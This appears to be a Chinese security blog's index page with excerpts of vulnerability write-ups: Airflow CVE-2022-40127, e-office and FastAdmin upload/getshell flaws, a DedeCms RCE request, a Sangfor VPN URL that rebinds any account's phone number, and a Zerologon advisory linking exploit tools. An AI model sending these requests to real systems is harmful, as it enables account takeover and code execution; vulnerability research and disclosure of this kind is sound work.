article cover

PHP 中与或运算符优先级导致的安全问题 PHP

前言 在 PHP 中,&& 和 || 是逻辑运算符,分别用于逻辑与(AND)和逻辑或(OR)操作。而 and 和 or 也是逻辑运算符,执行相同的基本逻辑操作,但不同之处在于它们的优先级。 简单来说,&& 和 || 的优先级较高,而 and 和 or 的优先级较低。 这意味着,在表达式中,&& 和 || 会先于其他低优先级的运算符(例如赋值运算符 =)进行计...


admin 发布于  2024-3-28 21:43 

CVE-2022-40127: Apache Airflow < 2.4.0 DAG example_bash_operator RCE 技术文章

影响组件

Apache Airflow < 2.4.0

漏洞描述

Apache Airflow 是一个可编程,调度和监控的工作流平台,基于有向无环图(DAG),Airflow 可以定义一组有依赖的任务,按照依赖依次执行。
CVE-2022-40127 中,若攻击者可访问到Apache Airflow的后台UI,并且环境中存在默认dag的话,可构造恶意请求借助run_id 执行任意命令

环境搭建

这采用docker-compose的方式来搭建,下载官方仓库低于2.4.0版本的dock-compose文件启动。

mkdir CVE-2022-40127 && cd CVE-2022-40127 
curl -LfO 'https://airflow.apache.org/docs/apache-airflow/2.3.4/docker-compose.yaml'
#or wget https://github.com/Mr-xn/CVE-2022-40127/raw/main/docker-compose.yaml
mkdir -p ./dags ./logs ./plugins
echo -e "AIRFLOW_UID=$(id -u)" > .env
docker-compose up airflow-init
docker-compose up -d
#waiting some times
open localhost:8080

备注:如果是mac,记得先打开docker APP ,不然会出现类似错误: Cannot connect to the Dock...

标签: 漏洞

admin 发布于  2022-11-19 20:20 
article cover

警惕 QQ 图片中马导致的隐私泄露和网络诈骗 业界新闻

背景

今天白天和昨晚上很多人还在因为自己的 QQ 莫名其妙发送黄色图片或者网址到各个好友各个群而苦恼的时候,今天在 0day.today 站点上发现了关于 JPG图片包含 PE 文件可以在打开图片的时候直接执行此 PE 文件,我简称为 JPG RCE,此站点我在19年的时候有过介绍:[0day.today「一个0day漏洞交易...


admin 发布于  2022-6-27 19:53 

泛微 e-office v9.0 文件上传漏洞(CNVD-2021-49104) PHP

影响版本:泛微 e-office v9.0 

burp 发包:

POST /general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId= HTTP/1.1
Host: 127.0.0.1:7899
User-Agent: Mozilla/5.0 (Windows NT 1...
标签: 漏洞

admin 发布于  2021-11-27 19:14 

DedeCms V5.8.1 RCE 漏洞 技术文章

昨天在一个老外的博客看到了他的一篇文章,讲的就是DedeCms 的预览版本 V5.8.1 存在 RCE 漏洞(远程代码执行漏洞);我刚刚复现了下,确实是存在的。

dedecms v5.8.1 RCE

POC:


GET /plus/flink.php?dopost=save&c=pwd HTTP/1.1
Host: dedecms.test
Pragma: no-cache
Cache-Control: n...
标签: 漏洞 php rce

admin 发布于  2021-10-1 23:10 

禅道≤12.4.2后台getshell漏洞复现分析 技术文章

简单的介绍下禅道:

禅道 项目管理软件 是国产的开源项目管理软件,专注研发项目管理,内置需求管理、任务管理、bug管理、缺陷管理、用例管理、计划发布等功能,实现了软件的完整生命周期管理。

首先搭建环境,安装禅道12.4.2,开源版下载:https://www.zentao.net/dynamic/zentaopms12.4.2-80263.html 。

我在Mac上使...


admin 发布于  2020-10-25 22:03 

emlog 6.0特别版的BUG些 emlog

声明:本文仅供爱好者折腾参阅,且由于我这是我很久之前的手记,如有遗漏,表意不明的请多包涵。

一点关于安装出现错误编号2002的可能办法:

emlog_mysql_error_2002.png 

emlog_install.png

第一个就是发文章标签打不上之数据库标签表 emlog_tag

emlog5.3.1升级过来或者是自己瞎折腾后发现发文章标签打不上或者没了的多半是这个原因。


gid 的值 开头和结尾必须是 英文逗号 不然 问的标签 不能存入 且...


admin 发布于  2020-10-21 16:49 

fastadmin(V1.0.0.20200506_beta)前台getshell(文件上传解析)漏洞分析 渗透测试

0x1.简介

FastAdmin是一款基于ThinkPHP和Bootstrap的极速后台开发框架。

补天平台介绍:近日,补天漏洞响应平台监测到互联网上出现Fastadmin文件上传漏洞,exp被公开。该漏洞源于网络系统或产品的代码开发过程中存在设计或实现不当的问题,可导致文件上传并解析为可执行文件。目前厂商已发布新版本修复此漏洞,补天漏洞响应平台建议受影响的客户将框架更新至安全版本。

影响版本:V1.0.0.20180911_beta~V1.0.0.20200506_beta

修复建议:

升级Fastadmin版本到V1.0.0.20200920_beta,详见官网链接:

https://www.fastadmin.net/download.html

0x2.漏洞详情

利用限制:需要开启会员中心功能,且登录会员中心。

/application/config.php 文件中:

  //是否开启前台会员中心
    'usercenter'            => true,

漏洞分析

/application/index/User.php 文件

第58-67行:

public function _empty($name)
    {    
        $data = Hook::listen("user_request_empty", $name);
            foreach ($data as $index => $datum) {
            $this->view->assign($datum);
            }
    return $this->view->fetch($name);
}

user_request_empty 为开发者预留的钩子可以忽视不看,主要看 return $this->view->fetch($name);

此方法中的 $name 参数可控,并且将 $name 的值传入到了 fecth() 函数中。

fetch() 为thinkphp的解析模板函数,其返回模板文件渲染后的内容

fetch() 函数的关键内容如下:

public function fetch($template, $data = [], $config = [])
    {
        if ('' == pathinfo($template, PATHINFO_EXTENSION)) {
            // 获取模板文件名
            $template = $this->parseTemplate($template);
        }
        // 模板不存在 抛出异常
        if (!is_file($template)) {
            throw new TemplateNotFoundException('template not exists:' . $template, $template);
        }
        // 记录视图信息
        App::$debug && Log::record('[ VIEW ] ' . $template . ' [ ' . var_export(array_keys($data), true) . ' ]', 'info');
        $this->template->fetch($template, $data, $config);
    }

继续调用栈可以看下其实这个fetch()函数调用的是内置模板引擎的fetch方法, 这个方法实际上就是将要输出的页面内容赋值给一个变量,为了方便,thinkphp在对模板渲染的过程中,添加了php标签功能,使得其可以解析php代码。

总之一句话,这个漏洞其实就是由于对传入变量过滤不严导致的模板引擎注入漏洞,只要控制了传入模板的文件,就可以利用模板本身的渲染功能,实现包含漏洞getshell

另外需要注意的是,当验证传入的模板是否是文件时,使用的 is_file() 函数,这个函数在Linux下和windows下的判断会有所不同,具体如下:

1、在linux下利用 is_file() 来判断类似于 /****/../../../../etc/passwd 文件时,如果 **** 是不存在的目录,则会返回false,在windows下 ,这个目录存在与否,均返回true,如下图所示:

is_file.png

is_file_linux.png


2、在linux下, is_file() 函数判可用于判断符号链接

3、在linux下, is_file 函数会受到权限的影响,当前用户权限不足或父目录没有设置+x权限时, is_file() 会返回false

4、windows系统里面 / 和 \ 都可以使用,但是在linux下只能使用 / 来分隔路径,因此这会导致 is_file() 在不同系统下的返回结果不一致

is_file_d.png

is_file_d2.png


5、 is_file() 判断文件时,如果文件大小超过2^32时,会判断失败

0x3.漏洞验证

通过前文可知,这个漏洞的利用点在 _empty() 函数,需要注意的是,在官方文档中通常 _empty() 方法是用来判断一个方法是否存在,如果不存在,则进入该函数。而这里是开发者自定义的方法,因此直接传入 _empty 方法,调用name参数即可。

利用过程如下:

在前台的会员中心,个人资料处,上传修改头像:

headpic.png

抓包后修改图片数据(满足图片头格式即可):

bp_head.png

记录下路径后,成功getshell

getshell.png

在Linux下,通过这种方法会失效,因为在 /public 路径下不存在 user 目录,由前文中的知识点可以知道,当不存在这个目录的时候,无论怎么跳转目录, is_file() 函数返回的结果始终未false,因此无法利用该漏洞,如下图所示:

linux.png

当我们在 /public 目录下创建文件夹 /user ,在利用,即可成功:

linux2.png

最后感谢 @joseph 师傅提供的漏洞点,又学习了一波

文章出自:https://forum.90sec.com/t/topic/1294

作者:https://forum.90sec.com/u/panda

大家可以投稿90注册啊!给你们投票!哈哈哈


admin 发布于  2020-9-21 22:57 

深信服VPN 修改任意账户绑定手机号 渗透测试

https://路径/por/changetelnum.csp?apiversion=1newtel=TARGET_PHONE&sessReq=clusterd&username=TARGET_USERNAME&grpid=0&sessid=0&ip=127.0.0.1

注意 需要登录之后才可以


admin 发布于  2020-9-18 10:24 

CVE-2020-1472: NetLogon特权提升漏洞(接管域控制器) 渗透测试

1C1ABDCA-7614-4E35-9DCB-392FE8E3D0F0.jpeg0x01 更新概览

2020年09月14日,360CERT监测发现 secura 公开了针对该漏洞研究报告及PoC,可造成 权限提升影响。本次更新标识该漏洞的利用工具公开,并可能在短时间内出现攻击态势。

具体更新详情可参考: 漏洞验证

0x02 漏洞简述

2020年08月12日, 360CERT监测发现 Windows官方 发布了 NetLogon 特权提升漏洞 的风险通告,该漏洞编号为 CVE-2020-1472,漏洞等级:严重,漏洞评分:10分

攻击者通过NetLogon(MS-NRPC),建立与域控间易受攻击的安全通道时,可利用此漏洞获取域管访问权限。成功利用此漏洞的攻击者可以在该网络中的设备上运行经特殊设计的应用程序。

对此,360CERT建议广大用户及时为各Windows Server操作系统安装最新相关补丁。与此同时,请做好资产自查以及预防工作,以免遭受黑客攻击。

0x03 风险等级

360CERT对该漏洞的评定结果如下

评定方式 等级
威胁等级 严重
影响面 广泛
360CERT评分 10分

0x04 漏洞详情

NetLogon组件 是 Windows 上一项重要的功能组件,用于用户和机器在域内网络上的认证,以及复制数据库以进行域控备份,同时还用于维护域成员与域之间、域与域控之间、域DC与跨域DC之间的关系。

当攻击者使用 Netlogon 远程协议 (MS-NRPC) 建立与域控制器连接的易受攻击的 Netlogon 安全通道时,存在特权提升漏洞。成功利用此漏洞的攻击者可以在网络中的设备上运行经特殊设计的应用程序。

漏洞验证

使用 SecuraBV/zerologon_tester.py 进行验证;可以看到在 windows server 2012 结果如下图所示

python版本: 3.8.5
域控版本: windows server 2008
测试机版本: windows server 2012

6A186A47-E390-4BEB-9190-F1C6CDE364D2.png0x05 影响版本

- Windows Server 2008 R2 for x64-based Systems Service Pack 1

- Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)

- Windows Server 2012

- Windows Server 2012 (Server Core installation)

- Windows Server 2012 R2

- Windows Server 2012 R2 (Server Core installation)

- Windows Server 2016

- Windows Server 2016 (Server Core installation)

- Windows Server 2019

- Windows Server 2019 (Server Core installation)

- Windows Server, version 1903 (Server Core installation)

- Windows Server, version 1909 (Server Core installation)

- Windows Server, version 2004 (Server Core installation)

相关检测和利用工具地址:

https://github.com/SecuraBV/CVE-2020-1472

https://github.com/dirkjanm/CVE-2020-1472


admin 发布于  2020-9-15 12:10